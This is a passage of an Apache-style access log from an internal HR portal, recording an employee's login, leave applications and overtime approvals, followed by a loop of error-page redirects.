Firefox/3.0.2" 100.64.0.1 - - [02/Dec/2025:15:16:07 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:15:18:19 +0800] "GET / HTTP/1.1" 200 439 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 100.64.0.1 - - [02/Dec/2025:15:18:19 +0800] "GET / HTTP/1.1" 200 439 192.168.11.133 - - [02/Dec/2025:15:22:07 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:07 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.133 - - [02/Dec/2025:15:22:11 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:11 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:22:11 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20162 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:11 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20162 192.168.11.133 - - [02/Dec/2025:15:22:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10647 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10647 192.168.11.133 - - [02/Dec/2025:15:22:19 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:19 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.11.133 - - [02/Dec/2025:15:22:19 +0800] "GET /eHR/img/lov.png HTTP/1.1" 200 788 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:19 +0800] "GET /eHR/img/lov.png HTTP/1.1" 200 788 192.168.11.133 - - [02/Dec/2025:15:22:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.133 - - [02/Dec/2025:15:22:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 192.168.11.133 - - [02/Dec/2025:15:22:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 192.168.11.133 - - [02/Dec/2025:15:22:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.133 - - [02/Dec/2025:15:22:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:22:42 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120330%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:42 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120330%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 192.168.11.133 - - [02/Dec/2025:15:22:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.133 - - [02/Dec/2025:15:22:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 192.168.11.133 - - [02/Dec/2025:15:22:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:22:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 192.168.11.133 - - [02/Dec/2025:15:23:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.133 - - [02/Dec/2025:15:23:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:03 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120331%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:03 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120331%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 192.168.11.133 - - [02/Dec/2025:15:23:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10647 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10647 192.168.11.133 - - [02/Dec/2025:15:23:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16690 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16690 100.64.0.1 - - [02/Dec/2025:15:23:18 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [02/Dec/2025:15:23:18 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 192.168.11.133 - - [02/Dec/2025:15:23:22 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5144 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:22 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5144 100.64.0.1 - - [02/Dec/2025:15:23:24 +0800] "GET / HTTP/1.1" 200 439 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 100.64.0.1 - - [02/Dec/2025:15:23:24 +0800] "GET / HTTP/1.1" 200 439 192.168.11.133 - - [02/Dec/2025:15:23:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10437 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10437 192.168.11.133 - - [02/Dec/2025:15:23:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 327363 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 327363 100.64.0.1 - - [02/Dec/2025:15:23:33 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.7.12) Gecko/20051010 Debian/1.7.12-0ubuntu2" 100.64.0.1 - - [02/Dec/2025:15:23:33 +0800] "GET / HTTP/1.1" 200 439 192.168.11.133 - - [02/Dec/2025:15:23:37 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:37 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132699%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132699&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132699%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132699&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:43 +0800] "GET 